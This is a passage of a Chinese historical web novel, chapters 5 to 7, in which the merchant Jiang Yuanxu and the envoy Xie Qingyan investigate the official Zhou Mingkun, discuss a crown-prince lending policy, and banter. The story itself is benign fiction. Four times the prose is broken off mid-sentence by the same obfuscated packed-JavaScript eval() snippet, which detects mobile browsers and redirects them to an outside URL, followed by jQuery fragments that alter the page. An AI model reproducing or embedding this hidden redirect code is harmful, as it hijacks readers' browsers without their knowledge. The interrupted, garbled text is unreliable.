哪怕张和看惯了世态炎凉,周明坤说出“贪墨银两,侵占田地”那副不以为意的样子,依旧刺痛了他。 张和的祖祖辈辈都是种地的,到他父亲那一代才开始读书,张和是家里第一个靠科举做官的。 少年踌躇满志,也曾妄想以一已之力肃清朝堂阴霾,还百姓一片清明。 而今年过半百,他把一片清明的自己染的灰不溜秋。 张和低头打量自己,鞋底换过好几次,很快鞋面也要破了,老妻的眼睛已经看不清细密的针脚,他的外袍是出嫁的女儿做的,里衣东一块西一块打着补丁,和他一样,东奔西走,到头来不过是破破烂烂的贱命一条。 抬脚跨进内堂前,张和再次低头审视自身,确认衣裳干净整洁,没有一丝不妥,才安心昂首入内。 他离开不过半晌,内堂却完全变了样,中间摆着大盆冰块,前面两台风扇对着两侧低头办公的人吹,七月的天,屋子没有一丝燥热,反而萦绕着浓浓的茶香。 风扇这东西,张和买不起,他以前在京城一些富贵人家见到的时候,是有侍从在一旁摇着的,这里的风扇却自己在转,实在稀奇。 他刚入座,耳房的侍女端来茶盏和糕点,低声询问他喜好什么茶,可以重新准备,他摆摆手让人退下,无声地和一众官吏打着眉眼官司。 几次眼神交换,众人便明晰了张和的意思,他们正愁吃人家嘴短,如此一来倒是轻松。 张和呷一口热茶,感叹这样的好茶,竟就这样招待了他们,他瞧着姜元序嚣张的样子,还当不屑与他们这些小官打交道。 也是,小小年纪已是商会主事,行事必然周全万分。 也罢,他这半截身子入土的年纪,做好自己的事就行了,天塌下来,自有年轻气盛的顶着。 谢青衍没再坐堂上,反而坐到了姜元序下首,文书摊在桌面,多紧急的事都抓不住他的心神。 姜元序的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211501|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在感实在太强,她说办公,是真的办公,她的桌上一摞文书,堆的比谢青衍桌上还高,明显在批复些什么。 她的手边有一方小印,应当是她的私印,个别文书她看得比较久,继而郑重盖上印。 她的两个侍女在她身后摆了一张小桌,桌前四个印章,把姜元序处理好的文书分门别类,交替着往上盖印,一摞处理完了,唤人送出去,又接进来新的一摞。 这架势,谢青衍在他祖父身上都没见过。 他悄默声地给她添了几回茶,没换来一丝侧目,倒是她身后那个叫“十安”的侍女相当敏锐。 明明都在埋头做事,他手刚伸过去,“唰”的一道视线如利剑出刃,敲在他的手背,他面不改色地继续添茶,心里直打鼓。 一壶茶两人喝,自然比一个人喝的快,不等谢青衍唤人,十安亲自去换了一壶,郑重其事地交给他,那神情,分明是把他当作侍茶的小厮。 谢青衍养尊处优二十年,第一次伺候人,心绪一时间有些复杂。 他看姜元序的衣裳,全黑的料子织着一圈圈暗纹,在日光中泛起五光十色的涟漪。 镶着红宝石的金发钗,做工考究的金面具,缀着东珠的金腰带,串着白玉的织金绣鞋。 他认命地做起小厮的活儿,这人合该被金尊玉贵地捧着。 姜元序确实忙,她的摊子铺的太大,全是实业,管理起来繁琐无比。 一上午高强度的工作,姜元序简单用过饭,便径直回了小院,当然不是为了休息。 “他真是那么说的?”姜元序闭着眼睛,捏捏眉心,缓解疲惫。 十安点头,周明坤和张和的对话,他们的人全记下来了,周明坤好像真的不知道自己犯了什么罪。 “看来我们之前猜的没错,偷采铜矿的不是周明坤。” 姜元序“啧”了一声,嫌弃道:“还不如是他呢,家被偷了都不知道。” 姜元序从贪墨案入手,绕了那么大一圈,目的是钓出敢蹚周家浑水的势力,比如谢家,和偷采铜矿的幕后黑手。 她也是前不久才知道,益州出了一座小型的铜矿,就在周明坤侵占的田地间。 一开始她以为周明坤利益熏心,偷偷采矿,细想之下又觉不对,一来周家不缺钱,二来铸币一事是太子在管,铜矿上报朝廷明显更有利。 采矿的是被占了田地的百姓,炼铜的作坊大大方方建在田里,连掩饰都没有,可铜锭的去向成谜,那里的管事做事很小心,小心的不像周家的人。 姜元序横插一手,用益州的贪墨证据,把钦差请来江州,给背后做局之人留足时间,扫清尾巴再把脏水泼到周家和太子身上。 她怀疑过谢青衍,所以故意要求一起查益州之事,谢青衍没多想便同意了,想来是完全不知情的。 这才对,隔山观虎斗多好,哪有做局之人亲身上阵的。 姜元序对幕后之人很感兴趣,让所有的棋子,无知无觉地走入棋盘,完成布局,是她惯用的手法。 “多注意京城的动向。”她叮嘱十安。 这局唯一的漏洞,在太子身边。 5. 此等凶兽 谢青衍听到身后院门打开,手里扇风的扇子慢下来,挂上云淡风轻的表情,徐徐转身。 唬得姜元序一愣:“谢大人在等我?” 大夏天的,正午日头底下,总不会在赏景吧。 “恰好碰上,一起走吧。”谢青衍忽略自己微微汗湿的衣衫,随意说道。 他只是在此地站了一刻钟罢了,绝对没有等人的意思。 一行人刚出院门,迎面撞上发丝凌乱的云慎,双方一照面,云慎扭头就跑。 “站住!回来。”谢青衍低声呵住他,“出什么事了。” 云齐隐晦地瞥了一眼姜元序。 姜元序也奇道:“钱庄的人打你了?” 不应该啊,不是交代了要好好配合吗。 三人愣住,谢青衍望天,云齐望地,云慎掩面,虽然我们知道你知道,但你也不要当面告诉我们你知道啊,很伤脸面的。 “钱庄的人很和善。”云慎率先打破尴尬,摸摸鼻子道,“我就是好奇,去了姜姑娘那家茶馆。” 姜元序一听就明白了,笑着打量云慎,和谢青衍说道:“谢大人想必要忙,我们先走。” 云慎再次羞愧掩面,打架输给一只猫这种事,真的没脸说。 转过垂花门,四处无人,姜元序小声蛐蛐:“大橘今天战斗力不行啊,云慎发冠还完整着呢。” “云慎功夫不低。”百凌回答。 姜元序看出来了,谢青衍也是有点功夫底子的,三人中也就云齐是完全的书生。 十安好奇地问百凌:“和你比如何?” 她们几个从小跟着姑娘的侍女都是学了武的,百凌学的最好,她学的最差,也就比一般人康健些。 “瞧不出来,等有机会试试。” 十安单纯,姑娘又忙,大概都没看出那位谢大人的心思,百凌却是心知肚明。姑娘要用谢家,谢大人又觊觎姑娘,她和云慎这一架,迟早要打的。 谢青衍合起折扇,狠狠敲了两下云慎的肩膀,转身回小院,云齐见状扬起手,也在云慎手臂抽了下。 “说吧,到底怎么回事?”谢青衍没好气道。 云慎摸摸自个儿的手臂,隐约察觉到公子的怒气,答话万分谨慎。 “就是周承输给姜姑娘的那间赌坊,现在是茶馆,里面有很多猫狗,我一不留神待的久了一些。” 他也没说谎,一群猫猫狗狗围在你脚边,时不时翻个肚皮,确实很让人沉湎。 关键是账台上蹲着一只巨大的橘猫,真的巨大,没开玩笑,跟小老虎似的,旁边还立着三道牌子。 上书:此等凶兽!请勿触摸!后果自负! 这哪里能忍,云慎果断伸手—— 猫飞起来的时候,他意识到事情没那么简单,猫砸到他脸上的时候,他开始后悔自己手贱,爪子抓到他脖子的时候,他觉醒了! 云慎抚上胸口,这可比公子刚才敲的疼多了,晚上大概要多一片青紫。 他见两人一脸狐疑地盯着自己,轻咳一声拿出百姓钱庄的情况转移视线。 “农户置业借贷三分利,学子科举借贷一分利,女子经营借贷不需利。” 云齐忍不住咋舌:“这简直不像个商人,她坑公子的时候可不是这样的。”反倒黑心得狠。 “公子是大户啊!”坑就坑了,云慎心说,左右是公子自己送上门的。 利钱是低,但农户置业借贷却不是直接借钱,而是农户自行寻找要购置的田地,钱庄付钱给卖田之人,府衙过文书后,由钱庄保管田契,农户还完借款,钱庄归还田契。 另外两条则是对借贷之人有一定要求,比如学子科举借贷,完全不事生产者不借,同场考试落第三次以上者不借,曾赌博、狎妓、殴打女子、幼儿者不借。 女子经营借贷,重儿轻女者不借;经营产业归于他人者不借;若家人无重病却不事生产,不借,和离断亲后可借;需有经营计划。 和这些章程一比,低利反而不值一提。 谢青衍问:“你们这两天在外行走,可发现江州与京城有何不同?” 说到这个,云慎按捺不住了:“公子,江州女子也太多了,今日百姓钱庄接待我的便是女管事,还有茶馆、酒楼,吃饭喝茶做工的,至少一半是女子。” 云慎有些不自在,偏偏人家姑娘都落落大方的,反而显得他小家子气。 云齐也接道:“江州女户很多,还有女学,和离的案子也多。” 谢青衍点头,上位者的态度决定底下人的行事,姜元序的态度很明确,她不喜赌博狎妓不事生产者,她要女子走出家庭开创自己的事业。 周明坤被百姓钱庄富丽堂皇的形貌迷惑,囫囵抄给太子,太子依样画葫芦有了新政,新政空有一副美貌的皮囊,内里一片虚无。 百姓钱庄真正的灵魂是姜元序。 内堂,众人围着风扇啧啧称奇,见到姜元序,忍不住招呼她解释。 “姜姑娘,你这个风扇为何能自己转?我们在京城从未见过。” “是新出的玩意,只需往后面这里拧几圈,就能自己转。”姜元序指着发条装置,给他们解释。 她让人研究齿轮装置,主要是为改良农用器械和军用器械,期间出了很多附属品,发条风扇是其中之一。 这几台风扇是试验品,极简的工业风,光秃秃的铁架子。成品都是精致雕花的,花里胡哨的扇叶子,镶宝石的底座,专门割一波有钱人,充实研究经费。 张和起身穿过人群,朝姜元序说:“姜姑娘,江州粮食商会一案已了结,麻烦在这份文书上签字。” 姜元序在结案文书上签下自己的名字,张和把其中一份给她:“我已命狱卒释放你父亲,还有账本,姜姑娘一齐拿回去吧。” “给张大人添麻烦了。”姜元序客气地说,“那我去接父亲,各位大人先忙。” 百凌拿上账本,随姜元序出门,张和看着空荡荡的桌子,庆幸自己悬崖勒马。 细看之下才发现,江州粮食商会压根不是一家粮铺,它不收粮不卖粮,而是调拨各地粮食,协调各地粮价,和各地官仓往来密切,还有户部颁发的褒奖文书。 它的背后是景朝成百上千的粮商,别说周明坤了,周老将军来了都得掂量掂量。 张和觉得自己还是小看了姜元序,又觉得有些可惜,她若是男子,必定能在户部一展拳脚,江州粮食商会不就是民间的户部吗。 牢房外,姜元序准备了马车接她爹。 “姑娘啊,跟爹说说,你这次准备干什么大事?” 吴善民两眼一抹黑进牢房,一头雾水上公堂,又不明就里地出来,现下已经好奇得抓心挠肺,一进马车便急急问道。 三日前,自家姑娘突然跟他说,辛苦爹去牢里呆几日,那语气正常的,跟说今天下雨没两样。 姜元序听到她爹的话,眼皮都没抬一下,自然道:“弄死周明坤啊。” 吴善民一拍大腿:“哎呦!” 怎么要弄死朝廷大臣还是这副“今天出太阳了”的语气。 他知道姜元序一直是个有主意的,于是他凑近了悄悄问:“那你准备怎么弄死他?” “爹,你该问周明坤身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211502|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为周老将军的幼子,太子的舅舅,犯了什么样的大罪,才会死。” “谋反?”只有这个了,一定是这个,吴善民越想越对。 姜元序叹口气拍拍她爹:“过几天就知道了,等周明坤砍头的时候,早点起来占前排。” “爹你先回去,我在府衙还有事,回家也得跟谢大人说一声。” 吴善民立刻正色道:“是要回家住,我瞧着姓谢的不是什么好东西。” 谢青衍在内堂没见到姜元序,略一思索决定自己去寻。 “您是谢大人吧。” 粉色衣衫的少女一瞬间出现在谢青衍面前,惊得谢青衍往后退了两步。 云慎如临大敌,迅速挡在谢青衍身前,他压根没察觉到有人,不知这位姑娘是从哪儿一下蹿到公子跟前,这要是刺客,公子就危险了。 “姑娘有什么事吗?”云慎问。 少女后撤一步,向着谢青衍的方向欠身行礼。 “小女许安宁,家母是江州最有名的糕点师傅,这是我亲手做的点心,还请谢大人不要嫌弃。” 她身后的侍女上前,把食盒递给云慎。 云慎不敢接,送点心这事他熟,京里的小姐们也时常找借口拦下公子,公子从未接过,他用眼神询问公子要怎么办。 谢青衍也看明白了,皱眉丢下一句“不必”,便绕开几人大步向前走去。 许安宁没想到谢青衍连话都不愿听全,匆匆跟上:“谢大人,听闻姜元序在府衙是吗?” “姜元序”三个字如一道符咒,把谢青衍定在原地。 “你认识姜姑娘?” 许安宁一听有戏:“是的,谢大人,您能见到她吗,我有点事……” “许安宁?你怎么在这儿?”姜元序意外。 看姜元序是从外边回来的,许安宁就知道自己想多了,于是话锋一转:“我来给谢大人送糕点。” “你给谢大人送糕点?”姜元序惊了,“你何时认得谢大人了?” 圆圆的杏眼含着笑,悠悠掠过前头的谢青衍,许安宁捏着手绢,掩唇嗡声说:“就在刚刚,我与谢大人,一见如故。” 谢青衍觉得自己有必要解释一下。 “哈哈哈哈,是是是,你和所有俊俏公子都一见如故,相见恨晚,惺惺相惜,情投意合。” 被戳穿假面的许安宁放下手绢,绕开几人去抓罪魁祸首,姜元序却早有准备,闪身躲到谢青衍身后,谢青衍给云慎使了个眼色,云慎挡在谢青衍另一侧。 “姜元序!你给我过来!” 许安宁拂开云慎,碰到谢青衍的时候却迟疑了,最终还是收回手,哼一声扭头走了。 姜元序探头看见人走远了,吩咐百凌:“去送送许姑娘,把她的食盒抢回来。” 百凌忍笑,快步去追许安宁。 “这位姑娘人看着小小的,力气那么大!” 云慎从地上爬起来,惊疑未定,那位姑娘轻轻一拂,像一阵风一样,把他吹倒了。 姜元序笑着解释:“安宁从小学做糕点,力气是大了一点。” “那位姑娘有何奇异之处,让你如此害怕?” 谢青衍看得很清楚,许安宁一放下手绢,姜元序就逃开了,是的,逃,不是那种戏谑的玩闹,是真的害怕逃跑。 两人瞧着关系还不错,许安宁比姜元序矮一个头,完全一副娇小姐的模样,就算力气大一点,难道比周家的私兵还可怕? 姜元序仰天长叹一口气,道出十几年的心酸。 “实不相瞒,我从小到大挨的揍,都是在她手上。” 6. 自己种地 “许姑娘不必担心,老爷已经回去了,姑娘在府衙有事,很快能回去。” 百凌追上许安宁,跟她解释。 “真没事?这次怎么那么大动静,昨日我看有一队兵往城外去了。” 吴叔被抓的时候她不担心,总归有姜元序在,出不了乱子,结果昨日审讯后,姜元序也没回来。 “真没事,带队的是韩家人。”百凌压低声音,“一切都在姑娘计划中。” “行吧。”许安宁是知道姜元序和韩家的关系的。 “你们在府衙没受气吧?我瞧着谢大人脾气不太好。”都不拿正眼看人的。 百凌心想,那你可看错了,谢大人在姑娘面前听话的紧。 这话不好挑明,她隐晦地说:“府衙就十几个京官,其余都是咱们的人,姑娘也不是受气的性子。” “也是。”姜元序不气人就不错了,“那我走了,有什么我能帮忙的就直说。” 芳云把食盒递给百凌:“给姜姑娘的,半糖。” 许安宁还是一副心事重重的样子,芳云不由安慰道:“姜姑娘那么厉害,肯定能解决周大人的。” “哪有那么容易。”许安宁望着马车外的行人,忧心地道,“说到底,我们不过是一介商人。” 安逸日子过久了,许安宁差点忘了,外头的百姓都过着什么样的生活。要不是有姜元序压着,一个周明坤就能让江州那么多年的努力白费。 可除掉周明坤就够了吗?景朝如周明坤一般的官员比比皆是,谁能保证他们不往江州来呢? “姑娘!快放手!” 惊呼声拉回许安宁的思绪,她下意识松手,木块从她手中滑落,“砰”地砸到车厢底。 芳云赶紧捡起来,庆幸道:“还是完整的,没碎,补补还能用。” 许安宁感叹,要是满朝权贵都像马车窗子那么脆就好了,她一手一个一手一个,看他们还敢不敢欺负人。 权贵谢青衍一点儿也不脆,反而相当头铁,他想象着小小的姜元序上蹿下跳,被比她还小的许安宁一把薅住,挣扎不得只能嗷嗷大哭,毫无同情心地笑出了声。 姜元序凑上前,仔细打量谢青衍的脸:“谢大人,是在幸灾乐祸吗?” 谢青衍撇开脸,努力敛起笑意,未果,遂展开折扇挡住下半张脸,道:“咳,并无此意,所以为何揍你?怎么揍的?仔细说说。” 姜元序确认之前的情报有误,哪里冷淡了,分明是一副看热闹不嫌事大的性子。 “谢大人是不是从未挨过揍?” 谢青衍放下折扇,微微俯身,平视姜元序的眼睛,眼神闪着兴味的光:“姜姑娘想当第一个吗?” 眼神交缠间,两人都没有瑟缩之意,姜元序猝然喊道:“云慎!” “哎?”云慎忙不迭应答。 “扇他!” 命令的语气过于斩钉截铁,云慎下意识抬起手—— 目光触及自家公子的脸,恍然惊醒,一巴掌抽在了自己脸上。 他抚着脸低头后退,眨眼间已经退出去十几步,被回来的百凌按住肩膀:“干什么呢?” 云慎点点前面两人,有苦难言,公子调戏姑娘,挨打的是他,还是他自己打的,他真是侍卫界的耻辱! 谢青衍直起身,说起正事:“我有事请教姜姑娘,不如我们移步内院详谈。” 双方侍从分立两侧,姜元序和谢青衍相对而坐,这场景,既像下午茶闲谈,又像谈判桌博弈。 “姜姑娘知道太子的新政吗?”谢青衍直截了当地开始话题。 姜元序表现出恰到好处的疑惑:“什么新政?” 谢青衍并未怀疑,细细地跟她解释。 姜元序耐心地听着,时不时点点头,最后恍然道:“还有这一出呢!周大人但凡来问问我呢,也不至于抄个作业抄成这样。” “姜姑娘不看好新政?”谢青衍问。 姜元序没有急着回答,反问道:“谢大人不如先跟我说说,朝中是如何看待这所谓的新政的?” “还未确定下来,但意动的大臣不少,若施行的好,确实是一项利国利民的好政策。” 谢青衍没说的是,京中各方平衡之势已久,太子的新政一出,极有可能打破现有的格局,各家都想分一杯羹,才有了现在僵持的局面。 “谢大人也说了,得施行的好,才能利国利民,如今的景朝,或者说太子一系的官员,真能把政策完整无误地施行下去吗?” “姜姑娘是不看好政策,还是不看好太子?” “二者皆有吧。”姜元序继续问,“谢大人看了百姓钱庄的情况吧,觉得和太子的新政,本质区别是什么?” “钱。” “没错,就是钱。哪怕我对江州的情况了若指掌,依旧不敢直接借钱,为何?因为一旦扯上钱这个东西,能钻的漏洞实在太多了。” 谢青衍端正了坐姿,严肃道:“愿闻其详。” 姜元序并不吝啬,直接为他解答。 “首先,国库的钱是有限的,分派到各个地方的借钱额度也是有限的,有限的名额就容易成为牟利的工具。地主豪绅们肯定愿意花一点小钱去获得低利的名额,而真正赤贫的百姓反而借不到钱。” 谢青衍点头,有钱人同样需要借钱周转,加钱获得低利的名额,还是比民间高利贷便宜。 “假使没有贪官污吏,低利的名额全给了百姓,谁又能保证借钱的百姓全都去买地买粮种,而不是喝酒赌博?那么到了第二年,这部分人肯定是还不上钱的,朝廷该如何对待这些人?” “再假设上面两种情况都没发生,借钱的都是勤勤恳恳,人品优良的百姓。那么百姓手里有钱了,但良田的数量并没有改变,这就必然导致地价上涨,粮价上涨。同样的钱,能买到的地和粮种都比预期的少,第二年得交赋税,还得连本带利还朝廷的借款,他们的生活真的比上一年更好吗?” 谢青衍反驳道:“但这些情况都可以通过人为干预,避免出现最差的局面。太子做不到,不代表别人不行。” 姜元序同意这个说法:“确实,只要执行政策的官员上下一心,令行禁止,能暂时取得不错的成果。” 谢青衍不解:“暂时?” “是的,我可以很负责任地告诉谢大人,自景朝立国到今天,全国都风调雨顺,粮食增产的年份,没有,一年都没有。” “一旦一个地方受灾,朝廷不仅收不回借款,还要赈灾,这就是双重负担。若是遇到连续的灾年呢,若是同年受灾的地区很多呢,财政真的支撑得住吗?” 在生产力如此之高的现代,国家每年花在扶贫上的资金是以亿为单位的,而在小农经济时代,朝廷竟然想靠扶贫赚钱,简直天方夜谭。 姜元序继续指出更深层次的矛盾:“贫穷的原因难道是缺钱?当然不是。缺钱是外在的表现,不是内在的原因。一个人不停地咳嗽,你给他一块帕子堵住嘴,咳嗽声音是没了,病也更严重了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211503|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢青衍注视姜元序良久,出其不意道:“我祖父一定很喜欢你。” “嗯?” “他和你说了一样的话,人祸犹可避,天灾不胜防。” 姜元序想起曾有一面之缘的老人,以及这些年陆陆续续收集的政见文集,真心实意地说:“谢阁老啊,我也很喜欢他的。” “你认识我祖父?”谢青衍诧异。 姜元序缓缓道出原因,“我十岁那年去京城,恰好碰到谢阁老讲学,我记得讲的是“顺天时,量地利,尽人力”,我还以为会听到一大堆“天人合一”的理论,结果他详细讲了好几种耕作方法。” “所以,我一直很好奇,你祖父他真的会种地吗?” 谢青衍惊讶于他和姜元序竟然在那么早之前就有了微妙的交集。 “他在家里开了一块地,小麦、水稻、大豆、萝卜、还有各种菜,都种过,以前他都是自己种的,这两年身体不太好,就给我种了。” 谢青衍的语气太过理所当然,姜元序一时之间没反应过来:“你……你种?你也会种地?” “我是祖父带大的,经常给祖父打下手,自然也是会种地的。” 谢青衍好笑地看着姜元序瞠目结舌的样子,眼里锐利的光芒被迷茫掩盖,竟有种不谙世事的单纯。 装木头人的十安和百凌闻言悄悄抬头,云齐云慎一脸坦然:是的,我们公子会种地。 姜元序犹不敢信,抓起面前的茶盏,一饮而尽,苦涩的茶汤略微平熄了她的心火。 “那你现在种了些什么?” “小麦收了,轮作种了大豆,豆角茄子现在正好可以吃,回去后应该要种萝卜了。” 这是真的会种地啊,姜元序看谢青衍的眼神都不一样了,瞧瞧!同样是权贵子弟,有的人花天酒地,有的人自己种地! 姜元序抱着脑袋,反思自己,她错怪千程了,真的,谢青衍和调查的人设不符,全是因为他在京城要种地! 种地多累啊,天不亮起来挑水浇地,干完农活再去上工,一个人干两份活,谁笑得出来?可不得拖着一张棺材脸。 怪不得这两天他笑得那么开心,既不用到点上工,又不用种地,来江州纯度假了,能不开心嘛。 姜元序起身坐到谢青衍旁边,拎起茶壶亲自给谢青衍倒了杯茶:“谢大人,真的,我为之前对您的不敬,表示十分非常以及极其的歉意。” 她不该这样防备谢青衍的,一个出生优渥,却愿意自己种地的人,能坏到哪里去。 横亘在两人之间的壁垒猝不及防被打破,谢青衍觉得自己总算窥见了一点真实的姜元序,而一切的源头仅仅是他会种地。 祖父曾说种地受益终身,他不以为意,如今方知祖父的远见卓识。 谢青衍喝一口茶,不经意问:“那次讲学我也在,你看到我了吗?” “那倒是没有。”姜元序笑眯眯地说,“真是可惜呢,没有早点认识谢大人。” 谢青衍也有点可惜,不过现在也不晚:“姜姑娘愿意的话,可以来谢府小坐,祖父很喜欢小辈,你又与他政见相合,应当很有话聊。” “那我先谢过谢大人了。”姜元序现在是越看谢青衍越顺眼,句句往人心坎上撞,“如果有机会的话,一定叨扰。” “谢大人,商会的案子已了,我也该告辞了。” 谢青衍想了下,没有把人留下的理由,只好道:“也好,明日可以开始查周明坤了,姜姑娘记得早点带人过来。” 7. 自食恶果 百凌一边收拾衣裳,一边忍不住问姜元序:“姑娘,你今天把新政的弊端都和谢大人说了,谢家会不会阻止新政?” “会,但阻止不了。” 姜元序随口应道,朝中大臣可不都是傻子,那么浅显的问题怎么可能看不出来,不过是舍不下新政带给他们利益。 一群浑水摸鱼的,一群要拉太子下台的,一群把新政当救命稻草的,新政势在必行。 十安把文书归拢到一起放箱子里,闻言解释道:“周明坤折在谢大人手上,谢家的反对只会让太子把新政的试验地放在宁远郡。” 姜元序打开许安宁的食盒,拿出龙井茶糕,尝了尝发现果然是减了糖的,明显是专门做给她的。 一切比预计的顺利,姜元序好心情地跟两人宣布:“铁板一块的宁远郡,很快就是我们的了。” 饶是姜元序也没料到,多年前随手做的一桩慈善,会在今天成为举足轻重的一步棋。 她甚至不用亲自出手,铜矿案的幕后之人自会用新政的缺陷扳倒太子和周家。 十安拍拍百凌,语重心长道:“我们很快就能去宁远郡种地了,做好准备。” 姜元序哑然失笑,可不是种地吗,周家不让种,那就先把周家赶走,我们再名正言顺去种。 翌日,姜元序带一行人去府衙,笑着和谢青衍打招呼:“谢大人,早啊,今日依旧风神俊朗呢。” 一袭紫袍配墨色腰封,长身玉立,朗目疏眉,二十啷当的年纪,少年意气犹在,沉稳之姿初显。 谢青衍努力绷着脸,声音却有些哑:“这是来调查周明坤的人?” “是,这三位是审计,这两位是讼师。”姜元序依次介绍。 谢青衍颔首赞许,确实很专业,审计是近些年新出现的行当,家里产业众多的人家,一两年就会聘请审计清查自己产业,而讼师熟悉律法,可以查案。 “他们是商会的人?” “不是,都是外聘的,我毕竟和周大人有旧,来查案本就不合规矩,不好让谢大人为难。” 这话也不算假,她们确实不是商会的人,却是姜元序的人,因为甚少有人知道,审计商行和讼师馆也是姜元序的。 “本就是小事,我敢做就不怕有人指摘,又何必放在心上。” 如此熨帖的做法反而显得生疏,谢青衍宁愿姜元序颐指气使地命令他帮忙,也好过这一副公事公办的态度。 待人来齐后,谢青衍直接下令:“为保公正,益州的卷宗一分为二,每半日把你们调查的结果向我汇报一次,有问题的地方由另一方复核,一次清查结束后,双方交换,重查第二遍。” 瞧着清一色的年轻女子,京中官员心中不免嘀咕,这管事的是个十几岁的小姑娘,怎么底下做事的也全是姑娘家,况且这个年纪的女子应当在家待嫁,挤在男人堆里办公算什么事儿。 一上午的调查,两位讼师已经查出了两桩误判的案子,速度快得谢青衍都觉得惊讶,只见较年长的讼师说:“很多大人都是按照习惯和情理断案,并没有依照律法,自己也不觉有错,所以卷宗里会如实记录,不会遮掩。” 依情理断案是上下官员心照不宣的做法,毕竟很少有人认真研习律法,断案主要靠刑名师爷,但有些师爷也是半吊子,根本经不起细查。 令众人诧异的是,两位年轻的女讼师对律法侃侃而谈,信手拈来,比许多师爷更老练,这江州的风水倒灌了不成,女子比男子还强。 午膳间,去安州调查周承的人已经回来,云齐当即向谢青衍汇报。 “约莫一月前,周承在安州欺侮了一名渔家女,那家人硬气,请讼师把周承告上官府,安州知州抓了周承,却给周明坤通了信,没两天这家人外出的时候船翻了,一家五口都没了。” 苦主没了,案件自然不了了之。 “周家人在捞周承的时候,捞上来两具泡涨了的尸体,面目已经无法分辨,但极有可能是那家人,仵作验尸发现致命伤在颈部。” 云慎总结道:“也就是说,周家的人先把人勒死,然后搬上船,伪造出他们自己外出的假象,再打翻船,把尸体抛到江里毁尸灭迹。” 云齐点头同意:“是的,问过那家人的邻居,前一天晚上他们都听到了东西砸地的声音。” “公子,你说会不会是老天爷看不下去,亲自收了周承,和姜姑娘无关?”云慎侥幸道。 云齐无语地看着自家蠢弟弟,老天爷要是个公正的,世上哪会有冤假错案。 谢青衍没有云慎那么天真,姜元序不是个恶人,这很明显,经营那么大的产业,手段凌厉些才正常,周承也是自食恶果,怪不了别人。 他想不明白的是,姜元序为何要在公堂上公然说出周承的死讯?她明明可以不说的。 趁没人的空当,谢青衍悄悄问姜元序:“真的不需要我帮忙?查出来的那点事,想要治周明坤死罪没那么容易。” 他顿了一下,又补充道:“不用空白条件,无偿帮忙。” 诚恳的样子让姜元序越发肯定他与铜矿案无关,她不忍心欺负老实人,直接道:“谢大人不需要做什么,周明坤活不了。” 云齐盯着姜元序离开的背影,肯定地说:“瞧着姜姑娘笃定的样子,恐怕是早准备了后招。” 底下众人皆在忙碌,谢青衍拿起笔开始复盘姜元序的所有行为,从第一日的审讯开始。 她为什么敢对周承下手?因为笃定太子保不下周明坤,她的后招,埋在审讯之前。 再往前推,姜元序无法左右钦差的人选,像谢青衍自己就是个极大的变数,若他看到粮食商会和百姓钱庄起了贪念,很可能暂时和太子一方合作,先解决吴善民和姜元序。 她的后招,不在于人,在于案件本身。 贪墨徇私,不致命,那就只剩另一件——劫粮,剿匪。 如果根本没有土匪,而是周明坤的人假扮土匪劫走粮食,威胁姜元序呢? 周家的兵,变成了匪,周明坤就有了必死的理由。 谢青衍感觉自己抓住了关键,继续往前推,为什么没人把劫粮往周明坤身上想呢? 因为江州有匪的消息在钦差出京后才上报到京城,因为上报匪患的商队来自晋州,因为没人知道周明坤和姜元序之间的恩怨,因为周明坤抓了吴善民。 钦差的注意力在江州粮食商会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211504|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在姜元序,在想方设法把周明坤从贪墨案中捞出来,忽略了真正的杀招。 从这个结果再重新看姜元序的行为,她截断太子的传信,却在两日前把钦差的消息透露给周明坤,在审讯当天对周承下手,激怒周明坤牵扯太子,是让周明坤提前退场。 也就是说,周明坤至今不知道朝廷派了人来江州剿匪,甚至周家人也不知道,韩乘霖带兵出城的时候,他们正在捞周承。 姜元序把钦差困在贪墨案中,只等韩乘霖拿到真正的罪证。 谢青衍拿笔圈出“韩乘霖”的名字,姜元序似乎把所有筹码压在他身上,不合常理,万一韩乘霖和钦差联手,把周明坤的罪证摁在江州不上报呢? 